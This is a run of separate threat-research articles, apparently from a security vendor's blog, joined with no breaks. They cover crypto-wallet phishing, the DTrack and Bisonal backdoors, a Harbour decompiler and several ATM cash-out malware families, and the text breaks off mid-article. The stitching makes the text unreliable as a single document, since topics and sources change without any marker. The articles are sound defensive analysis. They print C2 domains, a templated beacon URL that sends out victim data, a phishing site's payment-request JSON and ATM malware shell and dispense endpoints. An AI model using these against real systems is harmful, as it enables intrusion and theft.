The higher the global popularity of cryptocurrencies and the more new ways of storing them, the wider the arsenal of tools used by malicious actors who are after digital money. Scammers tailor the complexity of technology they use and the thoroughness of their efforts to imitate legitimate websites to how well the target is protected and how large the amount is that they can steal if successful. This story covers two fundamentally different methods of email attacks on the two most popular ways of storing cryptocurrency: hot and cold wallets.

Hot wallets and attempts at hacking them

A hot wallet is a cryptocurrency wallet with permanent access to the internet. This is essentially any online service that provides cryptocurrency storage, ranging from crypto exchanges to specialized apps.

Hot wallets are a highly popular crypto storage option. This can be explained by the simplicity of creating one (registering with a wallet service is all you need to do) and the ease of withdrawing and converting funds. The popularity and simplicity of hot wallets makes them cybercriminals’ main target. However, for this reason, and due to the fact that hot wallets are always online, they are rarely used for storing large amounts. Hence, cybercriminals have little motivation to invest heavily into phishing campaigns, and so, techniques used in email attacks on hot wallets are hardly ever original or complex. In fact, they look rather primitive and target mostly unsophisticated users.

A typical phishing scam aimed at a hot wallet user works as follows: hackers send email messages addressed as coming from a well-known crypto exchange and requesting the user to confirm a transaction or verify their wallet again.

Sample phishing email that targets Coinbase users

After the user clicks the link, they are redirected to a page where they are asked to enter their seed phrase. A seed phrase (recovery phrase) is a sequence of 12 (less commonly 24) words for recovering access to a crypto wallet. This is essentially the main password for the wallet. The seed phrase can be used for gaining or recovering access to the user’s account and making any transactions. The seed phrase cannot be changed or recovered: by misplacing it, the user risks losing access to their wallet for good, and by giving it to scammers, permanently compromising their account.

Seed phrase entry page

If the user enters the seed phrase on a fake web page, scammers get full access to the wallet and the ability to siphon all of the funds to their own addresses.

Fairly simple and devoid of software or social engineering tricks, scams like these typically target non-technical users. A seed phrase entry form usually has a stripped-down look: just an input field and a crypto exchange logo.

Phishing scams that target cold wallets

A cold wallet (cold storage) is a wallet without a permanent connection to the internet, like a dedicated device or even just a private key written on a slip of paper. Hardware storage is the most common type of cold wallets. As these devices are offline most of the time, and remote access is impossible, users tend to store significantly larger amounts on these. That said, it would be erroneous to believe that a hardware wallet cannot be compromised without stealing it, or at least, getting physical access to it. As is the case with hot wallets, scammers use social engineering techniques to get to users’ funds. We spotted an email campaign recently that was specifically aimed at the owners of hardware cold wallets.

This type of attack starts as a crypto email campaign: the user gets an email, addressed as being from the Ripple cryptocurrency exchange and offering to join a giveaway of XRP tokens, the platform’s internal cryptocurrency.

Phishing letter pretending to be from the Ripple cryptocurrency exchange

If the user clicks the link, they are presented with a blog page featuring a post that explains the rules of the “giveaway”. The post contains a direct link to “registration”.

Fake Ripple blog

Already at this point, the scam shows a few differences from mass attacks on hot wallets: instead of sending the user a link to a phishing page, the scammers used a more sophisticated immersion trick with a blog post. They also went so far as meticulously copying the design of the Ripple website and registering a domain name that was nearly identical to the exchange’s official domain. This is called a Punycode phishing attack. At first glance, the second-level domain is identical to the original one, but a closer look will reveal that the letter “r” has been replaced with a Unicode character that uses a cedilla:

https://app[.]xn--ipple-4bb[.]net -> https://app[.]ŗipple[.]net/

Also, the scam site is hosted in the .net top-level domain, rather than .com, where the official Ripple website is located. This may not raise any red flags with the victim, though, as both domains are widely used by legitimate organizations.

After the user follows the link from the “blog” to the fake Ripple page, they are offered to connect to the WebSocket address wss://s2.ripple.com.

Connection to the WebSocket address

Next, the user is offered to enter the address of their XRP account.

Entering XRP account address

The website then offers to choose an authentication method for receiving the bonus tokens.

Choosing an authentication method

As you can see, hardware wallets are top of the list and suggested by scammers. Selecting Trezor redirects the user to the official website trezor.io, which allows to connect devices to web apps via Trezor Connect API. The API is used for simplifying transactions with the help of a hardware wallet. The scammers want the victim to connect to their website, so they can withdraw the funds from the victim’s account.

When the user attempts to connect to the third-party website, Trezor Connect asks them to consent to anonymous collection of data and to confirm that they want to connect to the website. The address of the scam site is displayed in a Punycode view as: https://app[.]xn--ipple-4bb[.]net. The scammer’s hope is that the user misses the address, which is provided in small print on the side of the page.

Trezor Connect: confirming the connection to the scam site

Connection via Ledger is a lot like Trezor, but it uses the WebHID interface, with the other steps unchanged.

What happens after the user connects their hardware wallet? We had to explore the code of the phishing site just a bit to answer that question. The website is powered by an application written in Node.js. This uses two APIs:

• wss://s2.ripple.com, the official WebSocket address for Ripple transactions
• The phishing site API, for example: app[.]xn--ipple-4bb[.]net/api/v1/action

The scammers use these two APIs for interacting with the victim’s XRP account. The phishing site API talks to the WebSocket address, verifies account details and requests funds. For this purpose, the scammers spin up one-off intermediate wallets.

{
 "command": "get_payment"
 "account": victim_address,
 "transactionType": "Payment"
}

{
	"success": true,
	"data": {
    	"TransactionType": "Payment",
    	"Account": victim_address,
    	"Fee": "10",
    	"Sequence": 391,
    	"Destination": "rU53pnJzEv2mrtck…"*,
    	"Flags": 2147483648,
    	"Amount": "xxx",
    	"LastLedgerSequence": 79548458
	}
}

The intermediate account is used for just two things: to receive the victim’s funds and to forward these to the scammers’ permanent account. This helps to hide the final destination.

Statistics

In the spring of 2023, Kaspersky antispam solutions detected and blocked 85,362 scam emails targeting cryptocurrency users. Scam email campaigns peaked in March, with 34,644 messages. We blocked 19,902 emails in April and 30,816 in May.

Number of detected phishing emails targeting cryptocurrency users in March–May 2023 (download)

Conclusion

Scammers understand one thing just fine: the harder it is to get to the loot, the bigger it is likely to be. Therefore, attacks on hardware wallets, which many consider bullet-proof, use far more sophisticated tactics than those employed against the users of online crypto storage services. Although hardware wallets are indeed more secure than hot wallets, users should not lower their guard. Check every detail carefully before giving any website access to your wallet, and refuse to connect if anything smells fishy.

Introduction

DTrack is a backdoor used by the Lazarus group. Initially discovered in 2019, the backdoor remains in use three years later. It is used by the Lazarus group against a wide variety of targets. For example, we’ve seen it being used in financial environments where ATMs were breached, in attacks on a nuclear power plant and also in targeted ransomware attacks. Essentially, anywhere the Lazarus group believes they can achieve some financial gain.

DTrack allows criminals to upload, download, start or delete files on the victim host. Among those downloaded and executed files already spotted in the standard DTrack toolset there is a keylogger, a screenshot maker and a module for gathering victim system information. With a toolset like this, criminals can implement lateral movement into the victims’ infrastructure in order to, for example, retrieve compromising information.

As part of our crimeware reporting service, we published a new private report about recent Dtrack activity. In this public article we highlight some of the main findings shared in that report. For more information about our crimeware reporting service, please contact crimewareintel@kaspersky.com.

So, what’s new?

DTrack itself hasn’t changed much over the course of time. Nevertheless, there are some interesting modifications that we want to highlight in this blogpost. Dtrack hides itself inside an executable that looks like a legitimate program, and there are several stages of decryption before the malware payload starts.

First stage – implanted code

DTrack unpacks the malware in several stages. The second stage is stored inside the malware PE file. To get it, there are two approaches:

• offset based;
• resource based.

The idea is that DTrack retrieves the payload by reading it from an offset within the file or by reading it from a resource within the PE binary. An example of a decompiled pseudo function that retrieves the data using the offset-based approach can be found below.

Example of DTrack offset-oriented retrieval function

After retrieving the location of the next stage and its key, the malware then decrypts the buffer (with a modified RC4 algorithm) and passes control to it. To figure out the offset of the payload, its size and decryption keys, DTrack has a special binary (we have dubbed it ‘Decrypt config’) structure hidden in an inconspicuous part of the PE file.

Second stage – shellcode

The second stage payload consists of heavily obfuscated shellcode as can be seen below.

Heavily obfuscated second stage shellcode

The encryption method used by the second layer differs for each sample. So far, we have spotted modified versions of RC4, RC5 and RC6 algorithms. The values of the third stage payload and its decryption key are obtained by reading Decrypt config again.

One new aspect of the recent DTrack variants is that the third stage payload is not necessarily the final payload; there may be another piece of binary data consisting of a binary configuration and at least one shellcode, which in turn decrypts and executes the final payload.

Third stage – shellcode and final binary

The shellcode has some quite interesting obfuscation tricks to make analysis more difficult. When started, the beginning of the key (used to decrypt the final payload) is searched for. For example, when the beginning of the key is 0xDEADBEEF, the shellcode searches for the first occurrence of 0xDEADBEEF.

Chunk decryption routine example

Once the key is found, the shellcode uses it to decrypt the next eight bytes after the key, which form yet another configuration block with final payload size and its entry point offset. The configuration block is followed by an encrypted PE payload that starts at the entry point offset after decryption with the custom algorithm.

Final payload

Once the final payload (a DLL) is decrypted, it is loaded using process hollowing into explorer.exe. In previous DTrack samples the libraries to be loaded were obfuscated strings. In more recent versions they use API hashing to load the proper libraries and functions. Another small change is that three C2 servers are used instead of six. The rest of the payload’s functionality remains the same.

Infrastructure

When we look at the domain names used for C2 servers, a pattern can be seen in some cases. For example, the actors combine a color with the name of an animal (e.g., pinkgoat, purplebear, salmonrabbit). Some of the peculiar names used in the DTrack infrastructure can be found below:

Victims

According to KSN telemetry, we have detected DTrack activity in Germany, Brazil, India, Italy, Mexico, Switzerland, Saudi Arabia, Turkey and the United States, indicating that DTrack is spreading into more parts of the world. The targeted sectors are education, chemical manufacturing, governmental research centers and policy institutes, IT service providers, utility providers and telecommunications.

Conclusions

The DTrack backdoor continues to be used actively by the Lazarus group. Modifications in the way the malware is packed show that Lazarus still sees DTrack as an important asset. Despite this, Lazarus has not changed the backdoor much since 2019, when it was initially discovered. When the victimology is analyzed, it becomes clear that operations have expanded to Europe and Latin America, a trend we’re seeing more and more often.

IOCs

C2 domains
pinkgoat[.]com
purewatertokyo[.]com
purplebear[.]com
salmonrabbit[.]com

MD5
1A74C8D8B74CA2411C1D3D22373A6769
67F4DAD1A94ED8A47283C2C0C05A7594

CactusPete (also known as Karma Panda or Tonto Team) is an APT group that has been publicly known since at least 2013. Some of the group’s activities have been previously described in public by multiple sources. We have been investigating and privately reporting on this group’s activity for years as well. Historically, their activity has been focused on military, diplomatic and infrastructure targets in Asia and Eastern Europe.

This is also true of the group’s latest activities.

A new CactusPete campaign, spotted at the end of February 2020 by Kaspersky, shows that the group’s favored types of target remain the same. The victims of the new variant of the Bisonal backdoor, according to our telemetry, were from financial and military sectors located in Eastern Europe. Our research started from only one sample, but by using the Kaspersky Threat Attribution Engine (KTAE) we found 300+ almost identical samples. All of them appeared between March 2019 and April 2020. This underlines the speed of CactusPete’s development – more than 20 samples per month. The target location forced the group to use a hardcoded Cyrillic codepage during string manipulations. This is important, for example, during remote shell functionality, to correctly handle the Cyrillic output from executed commands.

The method of malware distribution for the new campaign remains unknown, but previous campaigns indicate that it’s their usual way of distributing malware. The attackers’ preferred way to deliver malware is spear-phishing messages with “magic” attachments. The attachments never contain zero-day exploits, but they do include recently discovered and patched vulnerabilities, or any other crafty approaches that might help them deliver the payload. Running these attachments leads to infection.

Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample. As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification.

http://C2_DOMAIN_IP/chapter1/user.html/BASE64_RC4_ENCRYPTED_BODY

The handshake consists of several steps: initial request, victim network details and a more detailed victim information request. This is the complete list of victim specific information that is sent to the C2 during the handshake steps:

• Hostname, IP and MAC address;
• Windows version;
• Time set on infected host;
• Flags that indicates if the malware was executed on VMware environment;
• Proxy usage flag;
• System default CodePage Identifier;

After the handshake has been completed, the backdoor waits for a command, periodically pinging the C2 server. The response body from the C2 ping might hold the command and parameters (optionally). The updated Bisonal backdoor version maintains functionality similar to past backdoors built from the same codebase:

• Execute a remote shell;
• Silently start a program on a victim host;
• Retrieve a list of processes from the victim host;
• Terminate any process;
• Upload/Download/Delete files to/from victim host;
• Retrieve a list of available drives from the victim host;
• Retrieve a filelist of a specified folder from the victim host;

This is what it looks like in code.

 Screenshot of the C2 command handling subroutine

This set of remote commands helps the attackers study the victim environment for lateral movement and deeper access to the target organization. The group continues to push various custom Mimikatz variants and keyloggers for credential harvesting purposes, along with privilege escalation malware.

What are they looking for?

Since the malware contains mostly information gathering functionality, most likely they hack into organizations to gain access to the victims’ sensitive data. If we recall that CactusPete targets military, diplomatic and infrastructure organizations, the information could be very sensitive indeed.

We would suggest the following countermeasures to prevent such threats:

• Network monitoring, including unusual behavior detection;
• Up-to-date software to prevent exploitation of vulnerabilities;
• Up-to-date antivirus solutions;
• Training employees to recognize email-based (social engineering) attacks;

CactusPete activity

CactusPete is a Chinese-speaking cyber-espionage APT group that uses medium-level technical capabilities, and the people behind it have upped their game. They appear to have received support and have access to more complex code like ShadowPad, which CactusPete deployed in 2020. The group’s activity has been recorded since at least 2013, although Korean public resources mark an even earlier date – 2009. Historically, CactusPete targets organizations within a limited range of countries – South Korea, Japan, the US and Taiwan. Last year’s campaigns show that the group has shifted towards other Asian and Eastern European organizations.

Here’s an overview of CactusPete activity in recent years, based on Kaspersky research results:

• May 2018: a new wave of targeted attacks abusing CVE-2018-8174 (this exploit has been associated with the DarkHotel APT group, as described on Securelist), with diplomatic, defense, manufacturing, military and government targets in Asia and Eastern Europe;
• December 2018 and early 2019: Bisonal backdoor modification with a set of spying payloads in a campaign targeting organizations within mining, defense, government and technology research targets in Eastern Europe and Asia;
• September and October 2019: a DoubleT backdoor campaign, targeting military-related and unknown victims;
• March 2019 to April 2020: Bisonal backdoor modification in a campaign targeting organizations in financial and military institutions in Eastern Europe;
• December 2019 to April 2020: a modified DoubleT backdoor campaign, targeting telecom and governmental organizations and other victims in Asia and Eastern Europe;
• Late 2019 and 2020: CactusPete started to deploy ShadowPad malware with victims including government organizations, energy, mining, and defense bodies and telcoms located in Asia and Eastern Europe;

Known alternative names for this APT group:
CactusPete, Karma Panda, Tonto Team

Known alternative names for the different payloads used:
Bisonal, Curious Korlia, DoubleT, DOUBLEPIPE, CALMTHORNE

In the end…

We call CatusPete an Advanced Persistent Threat (APT) group, but the Bisonal code we analyzed is not that advanced. Yet, interestingly, the CactusPete APT group has had success without advanced techniques, using plain code without complicated obfuscation and spear-phishing messages with “magic” attachments as the preferred method of distribution. Of course, the group does continuously modify the payload code, studies the suggested victim in order to craft a trustworthy phishing email, sends it to an existing email address in the targeted company and makes use of new vulnerabilities and other methods to inconspicuously deliver the payload once an attachment has been opened. The infection occurs, not because of advanced technologies used during the attack, but because of those who view the phishing emails and open the attachments. Companies need to conduct spear-phishing awareness training for employees in order to improve their computer security knowledge.

IoCs

PDB path:
E:\vs2010\new big!\MyServe\Debug\MyServe.pdb

MD5:
A3F6818CE791A836F54708F5FB9935F3
3E431E5CF4DA9CAE83C467BC1AE818A0
11B8016045A861BE0518C9C398A79573

Related material:

• January 29, 2020
  https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
• March 5, 2020
  https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
• 2019
  https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
• July 31, 2018
  https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/
• 2017
  https://image.ahnlab.com/file_upload/asecissue_files/ASEC_REPORT_vol.88.pdf (Korean language)
• 2014
  https://securitykitten.github.io/2014/11/25/curious-korlia.html
• 2013
  https://web.archive.org/web/20130920120931/https://www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf

https://github.com/KasperskyLab/hb_dec

Every once in a while we get a request that leaves us scratching our heads. With these types of requests, existing tools are usually not enough and we have to create our own custom tooling to solve the “problem”. One such request dropped onto our desk at the beginning of 2018, when one of our customers – a financial institution – asked us to analyze a sample. This in itself is nothing unusual – we receive requests like that all the time. But what was unusual about this particular request was that the sample was written in ‘Harbour’. For those of you who don’t know what Harbour is (just like us), you can take a look here, or carry on reading.

Harbour is a programming language originally designed by Antonio Linares that saw its first release in 1999. It’s based on the old Clipper system and is primarily used for the creation of database programs.

Understanding Harbour’s internals

Let us take a “Hello, world” example from the Harbour repository tests – hello.prg.

// Typical welcome message

PROCEDURE Main()

   ? "Hello, world!"

   RETURN

Figure 1: Harbour version of “Hello, world!”

It prints the “Hello, world!” message to the terminal. For that, you need to build a Harbour binary to execute the code (there are also other ways to run it without building a binary, but we chose this path because the received sample was an executable).

Compiling is as simple as calling:

hbmk2.exe hello.prg

This command will generate C code and compile the C code into the final executable. The generated C code for hello.prg can be found in Figure 2.

/*
 * Harbour 3.0.0 (Rev. 16951)
 * MinGW GNU C 4.5.2 (32-bit)
 * Generated C source from "hello.prg"
 */

#include "hbvmpub.h"
#include "hbinit.h"


HB_FUNC( MAIN );
HB_FUNC_EXTERN( QOUT );


HB_INIT_SYMBOLS_BEGIN( hb_vm_SymbolInit_HELLO )
{ "MAIN", {HB_FS_PUBLIC | HB_FS_FIRST | HB_FS_LOCAL}, {HB_FUNCNAME( MAIN )}, NULL },
{ "QOUT", {HB_FS_PUBLIC}, {HB_FUNCNAME( QOUT )}, NULL }
HB_INIT_SYMBOLS_EX_END( hb_vm_SymbolInit_HELLO, "hello.prg", 0x0, 0x0003 )

#if defined( HB_PRAGMA_STARTUP )
   #pragma startup hb_vm_SymbolInit_HELLO
#elif defined( HB_DATASEG_STARTUP )
   #define HB_DATASEG_BODY	HB_DATASEG_FUNC( hb_vm_SymbolInit_HELLO )
   #include "hbiniseg.h"
#endif

HB_FUNC( MAIN )
{
    static const HB_BYTE pcode[] =
    {
   	 36,5,0,176,1,0,106,14,72,101,108,108,111,44,
   	 32,119,111,114,108,100,33,0,20,1,36,7,0,7
    };

    hb_vmExecute( pcode, symbols );
}

Figure 2: Generated C code for hello.prg

You can see that the MAIN function starts the Harbour virtual machine (HVM) function hb_vmExecute with two parameters: the pcode, precompiled Harbour code; and the symbols, which are defined by a different macro above the MAIN function. As you can imagine, the pcode (portable code) contains the instructions that are interpreted by the HVM. You can find the official explanation of the pcode in the link below.

https://github.com/harbour/core/blob/master/doc/pcode.txt

After the C program has been compiled (by MINGW in our case), we find almost the same structures inside it: symbol table and pcode (Figure 3 and Figure 4 respectively).

Figure 3: Harbour symbols table of hello.exe

Figure 4: Harbour pcode of hello.exe

Decompilation

Back to our sample. We now know that we need to find the pcodes and symbols in the executable and see which opcodes belong to which instruction. If we do this, we can get a fair grasp of how the program works. As you can probably guess, there were no readily available tools to do this. So, we wrote our own.

The aim of our decompiler is to make the bytecode readable by a human. We chose to mix the resulting pseudocode in assembler with C (it’s still hard to read in some places, but was fine for our purposes).

./hb_dec hello.exe
e_magic : 5a4d
e_lfanew(PE) : 80
OptionalHeader.AddressOfEntryPoint: 1160
OptionalHeader.ImageBase: 400000

Found hb source filename: hello.prg
Cheсking if this program compiled by MINGW
    .data section found
    usual padding size correct (20==20)
    yes, it is MINGW
hb_symbols_table_va : 4d5020
hb_symbols_table_raw_offset : d4620

hb_symb #0
    name:   	 MAIN
    scope.value:    205 [ HB_FS_PUBLIC | HB_FS_FIRST | HB_FS_LOCAL ]
    value.pFunPtr:    4013c0
    pDynSym:    0
===
    pcode offset 4d706e for local function MAIN
===
hb_symb #1
    name:   	 QOUT
    scope.value:    1 [ HB_FS_PUBLIC ]
    value.pFunPtr:    44b7c0
    pDynSym:    0
===
hb_symb #2
    name:   	 EVAL
    scope.value:    1 [ HB_FS_PUBLIC ]
    value.pFunPtr:    442860
    pDynSym:    0
===
hb_symb #3
    name:   	 hb_stackInit
    scope.value:    2 [ HB_FS_STATIC ]
    value.pFunPtr:    0
    pDynSym:    0
===
found pcode for local function MAIN 4D708A - 4D706E = 1C

PCODE for local function MAIN pcode size 1C

00000000  24 05 00                                               	/* currently compiled source code line number 5 */
00000003  B0 01 00                  	push offset QOUT        	 
00000006  6A 0E 48 65 6C 6C 6F 2C ...   push offset "Hello, world!"  
00000016  14 01                     	call 1                   	/* call a function from STACK[-1] and discard the results */
00000018  24 07 00                                               	/* currently compiled source code line number 7 */
0000001b  07                        	end proc

Figure 5 – The decompiled output of the hello.prg program

Figure 5 also shows that Harbour is a stack-based compiler. The first push argument is the function name, after which the variables are pushed, followed by the call 1 command, where 1 is the number of function parameters to be popped. The above lines can thus be interpreted in C pseudocode as:

QOUT("Hello, world!");

We hope this decompiler makes analyzing samples written in Harbour a little bit easier for others as well.

Our investigation into the Dtrack RAT actually began with a different activity. In the late summer of 2018, we discovered ATMDtrack, a piece of banking malware targeting Indian banks. Further analysis showed that the malware was designed to be planted on the victim’s ATMs, where it could read and store the data of cards that were inserted into the machines. Naturally, we wanted to know more about that ATM malware, so we used YARA and Kaspersky Attribution Engine to uncover more interesting material: over 180 new malware samples of a spy tool that we now call Dtrack.

All the Dtrack samples we initially found were dropped samples, as the real payload was encrypted with various droppers — we were able to find them because of the unique sequences shared by ATMDtrack and the Dtrack memory dumps. After that, it got very interesting, because once we decrypted the final payload and used Kaspersky Attribution Engine again, we saw similarities with the DarkSeoul campaign, dating back to 2013 and attributed to the Lazarus group. It seems that they reused part of their old code to attack the financial sector and research centers in India. According to our telemetry, the last activity of DTrack was detected in the beginning of September 2019.

Technical details

The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable. In some cases, it was the default Visual Studio MFC project, but it could be any other program.

The decrypted overlay data contains the following artifacts:

• an extra executable;
• process hollowing shellcode;
• a list of predefined executable names, which the malware uses as a future process name.

After decryption of the data, the process hollowing code is started, taking the name of the process to be hollowed as an argument. The name comes from the predefined list found within the decrypted overlay. All the names come from the %SYSTEM32% folder, as you can see in the decrypted file list below.

• fontview.exe
• dwwin.exe
• wextract.exe
• runonce.exe
• grpconv.exe
• msiexec.exe
• rasautou.exe
• rasphone.exe
• extrac32.exe
• mobsync.exe
• verclsid.exe
• ctfmon.exe
• charmap.exe
• write.exe
• sethc.exe
• control.exe
• presentationhost.exe
• napstat.exe
• systray.exe
• mstsc.exe
• cleanmgr.exe

What is inside the dropper?

After execution, the target of the process hollowing is suspended until its memory is overwritten with the decrypted executable payload from the dropper overlay. After this, the target process resumes.

The droppers contain a variety of executables, all of these intended for spying on the victim. Below is an incomplete functionality list for the various Dtrack payload executables found:

• keylogging,
• retrieving browser history,
• gathering host IP addresses, information about available networks and active connections,
• listing all running processes,
• listing all files on all available disk volumes.

At this point, the design philosophy of the framework becomes a bit unclear. Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&C server directly.

Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc. For a full list of operations, see the table below.

Dtrack and ATMDTrack malware similarities

ATMDTrack is a subset of the DTrack family. They naturally look different despite their similarities. For example, Dtrack’s payload is encrypted within a dropper—unlike the ATMDTrack samples, which were not encrypted at all. But after decrypting the Dtrack payload, it becomes clear that the developers are the same group of people: both projects have the same style and use the same implemented functions. The most obvious function they have in common is the string manipulation function. It checks if there is a CCS_ substring at the beginning of the parameter string, cuts it out and returns a modified one. Otherwise, it uses the first byte as an XOR argument and returns a decrypted string.

Functions common to the two families (the functions/arguments were named by the researchers)

Conclusions

When we first discovered ATMDtrack, we thought we were just looking at another ATM malware family, because we see new ATM malware families appearing on a regular base. However, this case proved once again that it is important to write proper YARA rules and have a solid working attribution engine, because this way you can uncover connections with malware families that have appeared in the past. One of the most memorable examples of this was the WannaCry attribution case. Now we can add another family to the Lazarus group’s arsenal: ATMDtrack and Dtrack.

The vast amount of Dtrack samples that we were able to find shows that the Lazarus group is one of the most active APT groups in terms of malware development. They continue to develop malware at a fast pace and expand their operations. We first saw early samples of this malware family in 2013, when it hit Seoul. Now, six years later, we see them in India, attacking financial institutions and research centers. And once again, we see that this group uses similar tools to perform both financially-motivated and pure espionage attacks.

To succeed in spying, the criminals should be able to gain at least partial control over the internal network. This means that the target organizations may have a number of security issues, such as:

• weak network security policies,
• weak password policies,
• lack of traffic monitoring.

We therefore advise the companies to:

• tighten their network and password policies,
• use traffic monitoring software, such as Kaspersky Anti Targeted Attack Platform (KATA),
• use antivirus solutions.

IoCs

• 8f360227e7ee415ff509c2e443370e56
• 3a3bad366916aa3198fd1f76f3c29f24
• F84de0a584ae7e02fb0ffe679f96db8d

In spring 2019, we discovered a new ATM malware sample written in Java that was uploaded to a multiscanner service from Mexico and later from Colombia. After a brief analysis, it became clear that the malware, which we call ATMJaDi, can cash out ATMs. However, it doesn’t use the standard XFS, JXFS or CSC libraries. Instead, it uses the victim bank’s ATM software Java proprietary classes: meaning the malware will only work on a small subset of ATMs. It makes this malware very targeted.

Kaspersky products detect the sample as Trojan.Java.Agent.rs

Technical Details

First, as with most other ATM malware, the attackers must find a way to install the malware on the target ATMs. The malware can’t be controlled via the ATM keyboard or touchscreen, because it runs a self-crafted HTTP server web interface for its purpose. So the criminals must have network access to the target ATM. This makes us believe that the criminals have compromised the bank’s infrastructure to gain access to the network that the ATMs are connected to.

Once installed and executed, the malware, in the form of a Java archive file called “INJX_PURE.jar”, looks for the process that controls the ATM and injects itself into it, giving it control of the legitimate ATM process. After injection, the malware prints a message on the terminal simultaneously in several languages: Russian, Portuguese, Spanish and Chinese. However, all the other messages or strings used by the malware are in English. The different language phrases shown in the output can be translated into English as “Freedom and glory”. This is followed by the additional Russian message “отдельный”, which means “separate”. We believe this might be a false flag, because native Russian speakers would never use this word in this context.

Next, an HTTP server is started that accepts commands using predefined URL paths. They are:

• /d to dispense or to get the ATM cassette to carry out actions (the proper action is determined by the passed parameters);
• /eva to evaluate (run) user-supplied code on the victim ATM;
• /mgr for the manager, which gives criminals access to a list of all running classes for the attached Java virtual machine, so that they can call any function they desire, supplying the arguments if needed;
• /core allows the criminals to load a specified .jar file from the victim file system;
• /root path accepts a POST request body and passes it as a shell command to cmd.exe, returning the resulting output.

The dispensing and “run a shell” path do not have an interface page with forms and buttons, but instead only accept pre-prepared HTTP POST requests and print the raw text results to a page, omitting HTML tags. So, in the case of the dispensing request, the malware response will be the ‘ok’ string. The “get cash units information” request will be followed by a string describing the ATMs cash units status (see the example below).

This string consists of four groups, each group separated with a semicolon. It is a list that corresponds to the ATM cash cassette and consists of two values, separated by a colon: the denomination and the actual number of bills in the cassette. In the example above, the first cassette has 1000 banknotes of denomination 1, 700 banknotes of denomination 5, etc.

Other than the “run a shell”, “dispense” and “get cash unit”, the “eva”, “mgr” and “core” paths have interface pages. Below is a screenshot of the evaluation page:

/eva path interface example screenshot

It allows the criminals to paste and run any JavaScript code on a victim ATM and see what it returns. Why JavaScript? Because Java allows the use of external engines, and the criminals used a JavaScript one. Below is the function that the malware uses to run the passed JavaScript code.

Malware sample code that can evaluate JavaScript

Conclusions

The targeted nature of ATMJaDi shows that the criminals studied the victim very well before writing their malware. It’s clear that they must have had access to an ATM where the custom Java classes were running and most likely to the Java program source code as well.

Also, the way the malware can be controlled shows that the criminals planned to gain network access to the infected ATM, most likely through the bank’s internal network.

What banks can do to prevent these types of attacks:

• Set up special anti-targeted attack solutions such as KATA (Kaspersky Anti Targeted Attack Platform) to protect the bank’s network and other solutions to protect ATMs from malware;
• ATM file allowlisting;
• The bank ATM network has to be isolated and access to it must be highly restricted;

This is not a complete list of actions: the issue of information security requires constant attention and action.

Automation of all kinds is there to help people with their routine work, make it faster and simpler. Although ATM fraud is a very peculiar sort of work, some cybercriminals spend a lot of effort to automate it. In March 2018, we came across a fairly simple but effective piece of malware named WinPot. It was created to make ATMs by a popular ATM vendor to automatically dispense all cash from their most valuable cassettes. We called it ATMPot.

Example of WinPot interface – dispensing in action

The criminals had clearly spent some time on the interface to make it look like that of a slot machine. Likely as a reference to the popular term ATM-jackpotting, which refers to techniques designed to empty ATMs. In the WinPot case, each cassette has a reel of its own numbered 1 to 4 (4 is the max number of cash-out cassettes in an ATM) and a button labeled SPIN. As soon as you press the SPIN button (in our case it is greyed out because we are actually dispensing cash), the ATM starts dispensing cash from the corresponding cassette. Down from the SPIN button there is information about the cassette (bank note value and the number of bank notes in the cassette). The SCAN button rescans the ATM and updates the numbers under the SLOT button, while the STOP button stops the dispensing in progress.

We found WinPot to be an amusing and interesting ATM malware family, so we decided to keep a close eye on it.

Over the course of time, new samples popped up, each one with minor modifications. For example, a changed packer (like Yoda and UPX) or updated time period during which the malware was programmed to work (e.g, during March). If system time does not fall in with the preset period, WinPot silently stops operating without showing its interface.

The number of samples we had found was also reflected in the European Fraud Update published in the summer of 2018. It has a few lines about WinPot:

“ATM malware and logical security attacks were reported by nine countries. Five of the countries reported ATM related malware. In addition to Cutlet Maker (used for ATM cash-out) a new variant called WinPot has been reported…”

Same as Cutler Maker, WinPot is available on the (Dark)net for approximately 500 – 1000 USD depending on offer.

One of the sellers offers WinPot v.3 together with a demo video depicting the “new” malware version along with a still unidentified program with the caption “ShowMeMoney”. Its looks and mechanics seem quite similar to those of the Stimulator from the CutletMaker story.

Unidentified Stimulator-like sample from demo video

Winpot v3 sample from demo video

Due to the nature of ATM cash-out malware, its core functionality won’t change much. But criminals do encounter problems, so they invent modifications:

• To trick the ATM security systems (using protectors or other ways to make each new sample unique);
• To overcome potential ATM limitations (like maximum notes per dispense);
• To find ways to keep the money mules from abusing their malware;
• To improve the interface and error-handling routines.

We thus expect to see more modifications of the existing ATM malware. The preferred way of protecting the ATM from this sort of threat is to have device control and process allowlisting software running on it. The former will block the USB path of implanting the malware directly into the ATM PC, while the latter will prevent execution of unauthorized software on it. Kaspersky Embedded Systems Security will further help to improve the security level of the ATMs.

Kaspersky Lab products detect WinPot and its modifications as Backdoor.Win32.ATMPot.gen

Sample MD5:
821e593e80c598883433da88a5431e9d

Disclaimer and warning

ATM systems appear to be very secure, but the money can be accessed fairly easily if you know what you are doing. Criminals are exploiting hardware and software vulnerabilities to interact with ATMs, meaning they need to be made more secure. This can be achieved with the help of additional security software, properly configured to stop the execution of non-allowlisted programs on ATMs.

Worryingly, it is very easy to find detailed manuals of ATM malware. Anybody can simply buy them for around 5000 USD on darknet markets.

More information about CutletMaker ATM malware is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com

Introduction

In May 2017, Kaspersky Lab researchers discovered a forum post advertising ATM malware that was targeting specific vendor ATMs. The forum contained a short description of a crimeware kit designed to empty ATMs with the help of a vendor specific API, without interacting with ATM users and their data. The post links to an offer that was initially published on the AlphaBay Darknet marketplace, which was recently taken down by the FBI.

Advertisement post

